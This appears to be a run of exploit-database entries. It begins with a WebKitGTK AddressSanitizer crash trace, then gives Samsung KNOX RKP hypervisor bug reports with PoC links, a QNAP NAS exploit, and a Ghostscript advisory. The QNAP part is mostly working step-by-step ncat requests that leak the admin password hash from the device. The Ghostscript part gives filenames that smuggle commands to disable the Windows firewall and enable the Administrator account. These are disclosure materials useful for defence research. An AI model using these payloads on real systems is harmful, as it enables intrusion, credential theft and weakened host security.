#24 0x7fd720c6d821 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1887:16
#25 0x7fd720c7695c in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1930:44
#26 0x7fd720c77102 in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1955:12
#27 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1166:28
#28 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1963
#29 0x7fd720cc408b in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityRenderObject.cpp:1356:9
#30 0x7fd720cac82c in WebCore::AccessibilityObject::accessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2978:19
#31 0x7fd720cab793 in WebCore::AccessibilityObject::notifyIfIgnoredValueChanged() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2870:22
#32 0x7fd72279df02 in WebCore::RenderBlock::makeChildrenNonInline(WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:707:5
#33 0x7fd72279d37a in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:606:9
#34 0x7fd722eb34fa in WebCore::RenderTreePosition::insert(WebCore::RenderObject&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreePosition.h:93:5
#35 0x7fd722eb34fa in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:370
#36 0x7fd722eaec96 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:283:9
#37 0x7fd722eac9ad in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:173:9
#38 0x7fd722eabdcf in WebCore::RenderTreeUpdater::commit(std::unique_ptr<WebCore::Style::Update, std::default_delete<WebCore::Style::Update> >) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:120:9
#39 0x7fd7214a045e in WebCore::Document::recalcStyle(WebCore::Style::Change) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1936:13
#40 0x7fd7214a1a4f in WebCore::Document::updateStyleIfNeeded() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1982:5
#41 0x7fd7214a1a4f in WebCore::Document::implicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2807
#42 0x7fd721f666e8 in WebCore::FrameLoader::checkCallImplicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:870:5
#43 0x7fd721f666e8 in WebCore::FrameLoader::checkCompleted() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:816
#44 0x7fd721f6101a in WebCore::FrameLoader::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:737:5
#45 0x7fd7214da906 in WebCore::Document::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:5228:9
#46 0x7fd721c66aca in WebCore::HTMLDocumentParser::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:406:5
#47 0x7fd721c66aca in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:415
#48 0x7fd721c66aca in WebCore::HTMLDocumentParser::prepareToStopParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:135
#49 0x7fd721f480d3 in WebCore::DocumentWriter::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentWriter.cpp:269:5
#50 0x7fd721f20e29 in WebCore::DocumentLoader::finishedLoading(double) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:442:5
#51 0x7fd721f2a031 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:829:13
#52 0x7fd721f25361 in WebCore::DocumentLoader::responseReceived(WebCore::CachedResource*, WebCore::ResourceResponse const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:711:9
#53 0x7fd721f1b2a9 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:477:5
#54 0x7fd722434521 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/platform/ThreadTimers.cpp:121:9
#55 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:162:9
#56 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:160
#57 0x7fd717fcf059 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a059)
#58 0x7fd717fcf3ff (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a3ff)
#59 0x7fd717fcf721 in g_main_loop_run (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a721)
#60 0x7fd71f10f384 in WTF::RunLoop::run() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:94:9
#61 0x7fd7208b6f98 in int WebKit::ChildProcessMain<WebKit::WebProcess, WebKit::WebProcessMain>(int, char**) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebKit2/Shared/unix/ChildProcessMain.h:61:5
#62 0x7fd71378b82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#63 0x41a218 in _start (/webkit/libexec/webkit2gtk-4.0/WebKitWebProcess+0x41a218)
0x7fd724fdca78 is located 272 bytes to the right of global variable 'vtable for WebCore::RenderText' defined in '/home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderText.cpp' (0x7fd724fdc400) of size 1384
SUMMARY: AddressSanitizer: global-buffer-overflow /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21 in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const
Shadow bytes around the buggy address:
0x0ffb649f38f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3920: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
0x0ffb649f3930: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0ffb649f3940: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]
0x0ffb649f3950: f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9
0x0ffb649f3960: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==5530==ABORTING
-->
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=981
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
One of the protections implemented by RKP is a security policy meant to ensure that only the "authentic" kernel code pages are executable from EL1. This mitigation is achieved by combining a few memory protection policies together, namely:
-All pages with the exception of the kernel code are marked PXN
-All kernel code pages are marked read-only in the stage 2 translation table
-Kernel data pages are never marked executable
-Kernel code pages are never marked writable
(for more information, see https://www2.samsungknox.com/en/blog/real-time-kernel-protection-rkp)
In order to explore this mitigation technique, I've written a small tool to dump the stage 1 and stage 2 translation tables for EL0/EL1. First, the initial stage 2 translation table is embedded in the VMM code, so it can be statically retrieved and analysed. Here is a short snippet from the initial stage 2 translation table (the addresses here are PAs, although RKP implements a one-to-one PA<->IPA translation, barring memory protections):
...
0x80000000-0x80200000: S2AP=11, XN=0
0x80200000-0x80400000: S2AP=11, XN=0
0x80400000-0x80600000: S2AP=11, XN=0
0x80600000-0x80800000: S2AP=11, XN=0
0x80800000-0x80a00000: S2AP=11, XN=0
0x80a00000-0x80c00000: S2AP=11, XN=0
0x80c00000-0x80e00000: S2AP=11, XN=0
0x80e00000-0x81000000: S2AP=11, XN=0
0x81000000-0x81200000: S2AP=11, XN=0
0x81200000-0x81400000: S2AP=11, XN=0
0x81400000-0x81600000: S2AP=11, XN=0
...
The physical address range above corresponds with the physical address range in which the kernel code is located. As can be seen above, this entire address range is mapped as RWX in the initial stage 2. However, obviously RKP does not leave this area unprotected, as this might allow an attacker to subvert the kernel's integrity (by writing to the kernel's code pages). When RKP is initialized (i.e., when the HVC command RKP_INIT is called from EL1), the HLOS kernel passes a structure containing the address ranges for the currently loaded kernel. Here is a short snippet from "rkp_init" (init/main.c):
static void rkp_init(void)
{
rkp_init_t init;
init.magic = RKP_INIT_MAGIC;
init.vmalloc_start = VMALLOC_START;
init.vmalloc_end = (u64)high_memory;
init.init_mm_pgd = (u64)__pa(swapper_pg_dir);
init.id_map_pgd = (u64)__pa(idmap_pg_dir);
init.rkp_pgt_bitmap = (u64)__pa(rkp_pgt_bitmap);
init.rkp_map_bitmap = (u64)__pa(rkp_map_bitmap);
init.rkp_pgt_bitmap_size = RKP_PGT_BITMAP_LEN;
init.zero_pg_addr = page_to_phys(empty_zero_page);
init._text = (u64) _text;
init._etext = (u64) _etext;
if (!vmm_extra_mem) {
printk(KERN_ERR"Disable RKP: Failed to allocate extra mem\n");
return;
}
init.extra_memory_addr = __pa(vmm_extra_mem);
init.extra_memory_size = 0x600000;
init._srodata = (u64) __start_rodata;
init._erodata =(u64) __end_rodata;
init.large_memory = rkp_support_large_memory;
rkp_call(RKP_INIT, (u64)&init, 0, 0, 0, 0);
}
Upon receiving this command, RKP changes the stage 2 permissions for the address range corresponding to the kernel text (from "init._text" to "init._etext") to read-only and executable, like so:
...
kernel_text_phys_start = rkp_get_pa(text);
kernel_text_phys_end = rkp_get_pa(etext);
rkp_debug_log("DEFERRED INIT START", 0LL, 0LL, 0LL);
if ( etext & 0x1FFFFF )
rkp_debug_log("Kernel range is not aligned", 0LL, 0LL, 0LL);
if ( !rkp_s2_range_change_permission(kernel_text_phys_start, kernel_text_phys_end, 128LL, 1, 1) )
rkp_debug_log("Failed to make Kernel range RO", 0LL, 0LL, 0LL);
rkp_l1pgt_process_table(init_mm_pgd, 1u, 1u);
...
However, notice that the code above only marks the region from _text to _etext as read-only. This region is *strictly smaller* than the physical address range reserved for the kernel text region (in part in order to account for RKP's KASLR slide, which means the kernel can be placed at several offsets within this region). If we take a look at the stage 1 translation table from TTBR1_EL1, we can see that the kernel code pages are allocated using L2 block descriptors (i.e., a large granularity), like so:
...
[256] L1 table [PXNTable: 0, APTable: 0]
[ 0] 0x080000000-0x080200000 [PXN: 0, UXN: 1, AP: 0]
[ 1] 0x080200000-0x080400000 [PXN: 0, UXN: 1, AP: 0]
[ 2] 0x080400000-0x080600000 [PXN: 0, UXN: 1, AP: 0]
[ 3] 0x080600000-0x080800000 [PXN: 0, UXN: 1, AP: 0]
[ 4] 0x080800000-0x080a00000 [PXN: 0, UXN: 1, AP: 0]
[ 5] 0x080a00000-0x080c00000 [PXN: 0, UXN: 1, AP: 0]
[ 6] 0x080c00000-0x080e00000 [PXN: 0, UXN: 1, AP: 0]
[ 7] 0x080e00000-0x081000000 [PXN: 0, UXN: 1, AP: 0]
[ 8] 0x081000000-0x081200000 [PXN: 0, UXN: 1, AP: 0]
[ 9] 0x081200000-0x081400000 [PXN: 0, UXN: 1, AP: 0]
[ 10] 0x081400000-0x081600000 [PXN: 1, UXN: 1, AP: 0]
...
Moreover, as we can see above, the region 0x080000000-0x081400000 is marked as RWX in the stage 1 translation table, even though the kernel code pages only take up a much smaller area within this region.
Combining these facts, we arrive at the conclusion that any address in the range 0x080000000-"_text" or "_etext"-0x081400000 are marked as RWX both in stage 1 and stage 2, even after RKP is initialized.
This issue can be reproduced by simply writing code to any of these memory regions in EL1 and executing it directly (e.g., writing code to address 0xffffffc000000000 in the kernel's VAS).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41217.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=982
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
In order to protect the information processed and stored within RKP (i.e., RKP's heap and stack or the current control-flow protection key), the physical ranges in which RKP and "physmap" are located are unmapped from the stage 2 translation table upon initialization of RKP. This prevents an attacker in EL1 from accessing any of these memory regions, as such an attempt would trigger an s2 translation fault.
However, RKP provides commands which can be used in order to re-map regions in the stage 2 translation table. Most of these commands correctly perform a validation on the given address range using "physmap". However, the "rkp_set_init_page_ro" command (command code 0x51) can be used to mark a region as read-only in stage 2, and performs no such validation. Here is the approximate pseudo-code for this command:
__int64 rkp_set_init_page_ro(unsigned args* args_buffer)
{
unsigned long page_pa = rkp_get_pa(args_buffer->arg0);
if ( page_pa < rkp_get_pa(text) || page_pa >= rkp_get_pa(etext) )
{
if ( !rkp_s2_page_change_permission(page_pa, 128LL, 0, 0) )// RO, XN
return rkp_debug_log("Cred: Unable to set permission for init cred", 0LL, 0LL, 0LL);
}
else
{
rkp_debug_log("Good init CRED is within RO range", 0LL, 0LL, 0LL);
}
rkp_debug_log("init cred page", 0LL, 0LL, 0LL);
return rkp_set_pgt_bitmap(page_pa, 0);
}
The "rkp_s2_page_change_permission" function makes sure the given page is mapped in stage 2 (and if it isn't, it re-maps it). The arguments passed in by "rkp_set_init_page_ro" in this specific case mark the page as read-only and non-executable.
Regardless, the physical address ranges for RKP are already present in the stage 1 translation table:
...
[424] 0x0b5000000-0x0b5200000 [PXN: 1, UXN: 1, AP: 0]
[425] 0x0b5200000-0x0b5400000 [PXN: 1, UXN: 1, AP: 0]
[426] 0x0b5400000-0x0b5600000 [PXN: 1, UXN: 1, AP: 0]
[427] 0x0b5600000-0x0b5800000 [PXN: 1, UXN: 1, AP: 0]
[428] 0x0b5800000-0x0b5a00000 [PXN: 1, UXN: 1, AP: 0]
...
This means an attacker can simply invoke the "rkp_set_init_page_ro" command to s2-map any wanted page, and will subsequently be able to directly read from that page, even if it resides within RKP's physical address range.
I've verified this issue on an SM-G935F device, build version "XXS1APG3". The RKP version present on the device is "RKP4.2_CL7572479".
Proof of concept for the RKP stage 2 remapping issue.
This PoC s2-remaps RKP's physical address range and reads from it in EL1.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41218.zip
Device Model: QNAP VioStor NVR, QNAP NAS, Fujitsu Celvin NAS (May be additional re-branded)
Attack Vector: Remote
Attack Models:
1. Classic Heap Overflows
2. Classic Stack Overflow
3. Heap Feng Shui Overflow
4. "Heack Combo" (Heap / Stack Combination) Overflow
[Timeline]
07/01/2017:
QNAP contacted me after my post to Bugtraq 31/12/2016 (http://seclists.org/bugtraq/2017/Jan/5).
Provided additional details, never heard anything back from QNAP.
(The patched FW versions I’ve found out by myself, no feedback from QNAP)
29/01/2017:
Sent this document to QNAP <security@qnap.com>, asked for feedback and also if they have any objections before publish
31/01/2017:
No reply.
- Frankly speaking - ignorance; next batch will be Full Disclosure without any prior notice nor reply to QNAP (oOoo).
[Vulnerable]
QNAP VioStor NVR: QVR 5.1.x (Patched?)
QNAP NAS: QTS 4.3.2 Beta (Patched?)
QNAP NAS: QTS older than 4.2.3 (build 20170121)
Fujitsu Celvin NAS: older than 4.2.3 (build 20170110)
[Not Vulnerable]
QNAP NAS: QTS >= 4.2.3 (build 20170121)
Fujitsu Celvin NAS: >= 4.2.3 (build 20170110)
[Vendor security alert]
https://www.qnap.com/en/support/con_show.php?cid=108
[Vendor URL]
https://www.qnap.com/
http://www.qnapsecurity.com/
http://www.fujitsu.com/fts/products/computing/peripheral/accessories/storage/
Note: All hardcoded examples below, made with TS-251+ QTS 4.2.2 (Build 20161214)
===[ 1. Classic Heap Overflows ]===
1. Both the tags "u" (user) and "p" (password) suffer of heap overflow, that alone allows us to overwrite wilderness top chunk size.
2. The tag "pp" (sysApp) suffer of stack overflow, that alone allows to us to overwrite libc_argv[0].
Note: Local shown below, but can of course be triggered remote as well
/* Heap #1 to overwrite the heap wilderness top chunk size */
# export QUERY_STRING="u=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff"
# ./cgi.cgi
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b0d0 ***
/* Heap #2 to overwrite the heap wilderness top chunk size */
# export QUERY_STRING="u=admin&p=`for((i=0;i<260;i++));do echo -en "A";done`%ff%ff%ff%ff"
# ./cgi.cgi
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b2a0 ***
===[ 2. Classic Stack Overflow ]===
/* Stack Overflow to overwrite libc_argv[0] address pointer for reading shadow password */
# export QUERY_STRING="u=admin&pp=`for((i=0;i<4468;i++));do echo -en "A";done`%7e%c7%06%08"
# ./cgi.cgi
Content-type: text/xml
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[0]]></authPassed></QDocRoot>
*** stack smashing detected ***: $1$$CoERg7ynjYLsj2j4glJ34. terminated
Aborted
As we can see above, the implemented GLIBC heap/stack protections works quite sufficient, pretty much nothing interesting can be achieved.
But, when we start to combining vulnerabilities, flaws and near functions with each other, things starting to get a bit more interesting.
===[ 3. Heap Feng Shui with Heap #1 and #2 Overflow ]===
/* Heap overflow with freed junk chunks, to overwrite next heap chunk header */
One of the first functions that runs in the CGI, is CGI_Get_Input(), this function takes all our input to the CGI and allocates memory on the heap for later use with CGI_Find_Parameter(); This allow us to create junk memory chunks more or less wherever we would like to have them, have them freed, and then later have them allocated for our use.
The for() loop with char "B" will create used and freed space before "p" at heap by CGI_Get_Input();
The upcoming calloc() for "u" will use this space, and the content in "u" will be copied here and overflow into "p":s heap chunk header.
[The abort() happens in <fgetpwent+402>: malloc() from Get_Exact_NAS_User_Name() call, and not in "p":s calloc()]
/* Controlling: eax, edx, esi */
# export QUERY_STRING="u=`for((i=0;i<80;i++));do echo -en "A";done`%fc%ff%ff%ff%fc%ff%ff%ffCCCC%6c%b1%06%08&QNAP=`for((i=0;i<32;i++));do echo -en "B";done`&p=PPPP"
# ./cgi.cgi
*** glibc detected *** /home/httpd/cgi-bin/cgi.cgi: corrupted double-linked list: 0x0806b154 ***
Below I will demonstrate another interesting combination found while exploring,
that easily can be exploited remotely without credentials and without any prior knowledge of the remote target.
===[ 4. "Heack Combo" (Heap / Stack Combination) Overflow ]===
/* Combined heap overflow #2 with base64 decoded stack overwrite, to remotely calculate and retrieve shadowed admin (root) password */
We will here combine the "GLIBC detected" abort message in GNU LIBC that’s triggered by an Heap Overflow, together with base64 encoded request string to cgi.cgi in QNAP devices, where the internal b64_Decode() function will (right after the heap overflow) be called and do an stack overwrite of address pointer for libc_argv[0], with the address we choose, which will allow us to read a string almost anywhere.
In this PoC we are using the address for the heap loaded admin (root) /etc/shadow password, to remotely read this string for displaying instead of the program name.
The critical part is to correctly align the request with the address pointer for libc_argv[0], and below you will find guidance for success.
Notes:
1. Sending 0x00-0xff to the stack will work just fine, since the request for "p" will be base64 decoded. (theoretically, we could rewrite the stack as how we would like to have it)
2. I’m using HTTPS/SSL to have some privacy while fuzzing, only to show some people that HTTPS/SSL don’t make them secure by default. (HTTP works of course too)
3. Right before and after the address pointer for libc_argv[0], we have (harmless?) segfaults in strlen() / getenv() due to reading of invalid addresses.
4. The "\nHost: Q†is needed with HTTPS/SSL, could be removed when using HTTP, otherwise the PoC sometimes may not work as expected. *sigh*
5. Since the given pattern for reading is static, automated tool are quite easy to develop. (with slightly adjustment of the offset for correctly reading)
6. Fingerprinting is extremely easy with the request: "GET /cgi-bin/authLogin.cgi HTTP/1.0" (provides XML list with all relevant details)
7. This PoC will not work with devices who has ASLR enabled for heap. *doh*
Credits:
QNAP, to the combination of heap overflow with base64 decoded stack overwrite, for letting us write where we want to read.
GLIBC, who give us quite vital information to calculate with, that allow us to point our reading correctly, and then reading what we want.
Now to the demonstration.
[==== (1) ====]
[Four and more bytes off below the address pointer for libc_argv[0]]
/*
You should start with fairly low number in the for() loop (around 2000 - 3000 should be fine) and work your way up to the breaking point between #1 and #2.
Note:
In the example we start with 4464 in the for() loop, only to clearly show the breaking point between #1 and #2.
*/
Example:
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4464;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:40:06 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806e508 ***
[==== (2) ====]
[Three or two bytes off below the address pointer for libc_argv[0]]
/*
Note now the below "*** glibc detected ***" - it doesn’t write the program name as above in #1, this is very important first step to look for.
Note:
Two bytes off can sporadicly generate segfault, so don’t be fooled to believe you are in #3.
Recommending firstly to exactly find the first breaking point between #1 and #2 (program name).
*/
Example (three off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4465;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:41:12 GMT
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
Example (two off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4466;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:41:52 GMT
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
[==== (3) ====]
[One byte off below the address pointer for libc_argv[0]]
/*
Very important step, segfault in strlen() and we need now add one more byte to correctly overwrite the address pointer for libc_argv[0]
*/
Example (one off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4467;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:42:26 GMT
Content-Length: 0
Connection: close
Content-Type: text/plain
[==== (4) ====]
/*
The address we looking for can be calculated from above heap message in #2 (0x0806e508) and subtracted with below offset.
Fixed offset (more or less)
NASX86: 0x16b2
NASARM: 0x1562
NASX86 example:
If we subtract the offset: 0x0806e508 - 0x16b2 = 0x0806ce56; We should directly read the hash. (if not, adjust the reading slightly with the offset)
*/
Example (correctly aligned):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QNAP=$(for((i=0;i<4468;i++));do echo -en "\xff";done) ; PWNED=$"\x56\xce\x06\x08"; echo -en "$QNAP$PWNED" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:43:08 GMT
*** glibc detected *** $1$$CoERg7ynjYLsj2j4glJ34.: free(): invalid next size (normal): 0x0806e510 ***
[==== (5) ====]
/*
If we added one or more bytes above the address pointer for libc_argv[0], "400 Bad Request" will be generated or no output with "200 OK" as in #3.
If you don’t get expected results (or not any results at all), you are most probably here.
*/
[One byte off or more above the address pointer for libc_argv[0]]
Example (one or more off above):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4469;i++));do echo -en "\xff";done) ; AP=$"\x56\xce\x06\x08"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 400 Bad Request
Date: Sun, 08 Jan 2017 11:45:01 GMT
Server: http server 1.0
[+]#################################################################################################
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec
[+]################################################################################################
Vendor:
===============
ghostscript.com
Product:
================
Ghostscript 9.20
gs920w32.exe
Windows (32 bit)
hash: fee2cc1b8b467888a4ed44dd9f4567ed
Ghostscript is a suite of software based Postscript and PDF
interpreter/renderers for file conversion.
Vulnerability Type:
==========================
Filename Command Execution
CVE Reference:
==============
N/A
Security Issue:
================
The ghostscript ps2epsi translator to processes ".ps" files executes
arbitrary commands from specially crafted filenames that contain
OS commands as part of the processed postscript files name. This feature
seems to work only using the ps2epsi translator.
Other tested GS translator calls like 'ps2pdf' fail.
c:\>ps2epsi
"Usage: ps2epsi <infile.ps> <outfile.epi>"
Example, take a file "POC&<SYSTEM-COMMAND>;1.ps", it will run arbitrary
Commands contained after the ampersand character "&".
If a user runs some automated script to call the ps2epsi translator to
process ".ps" files from a remote share or directory
where actual filename is unknown, it can potentially allow attackers to
execute arbitrary commands on victims machine.
Characters like "/", ":" are restricted in filenames, but we can abuse
Windows netsh and wmic to bypass some of these barriers.
Quick Ghostscript CL test.
Create file called Test&calc.exe;1.ps
ps2epsi "Test&calc.exe;1.ps" outfile
BOOM! calc.exe runs...
Exploit/POC:
=============
Add Ghostscript lib 'c:\Program Files (x86)\gs\gs9.20\lib' to Windows
environmental Path, so we can easily call 'ps2epsi' GS CMD.
Create the following malicious ".ps" postscript files.
1) Turn of Windows Firewall
Test&netsh Advfirewall set allprofiles state off&;1.ps
2) Enable Windows Administrator account (using WMIC).
Test&wmic useraccount where name='administrator' set disabled='false'&;1.ps
If user don't have wmic on path, fix it for POC by set environmental system
variable.
Add "C:\Windows\system32\wbem;" to 'Path' variable.
Run below bat script to process bunch of *.ps" files.
"POC.bat"
@echo off
rem ghostscript Filename Command Execution POC
rem by hyp3rlinx
for %%1 in ("*.ps") do; ps2epsi "%%1" "evil.ps"
Severity:
=========
Medium
Disclosure Timeline:
===============================
Vendor Notification: No replies
February 2, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
# Full Proof of Concept:
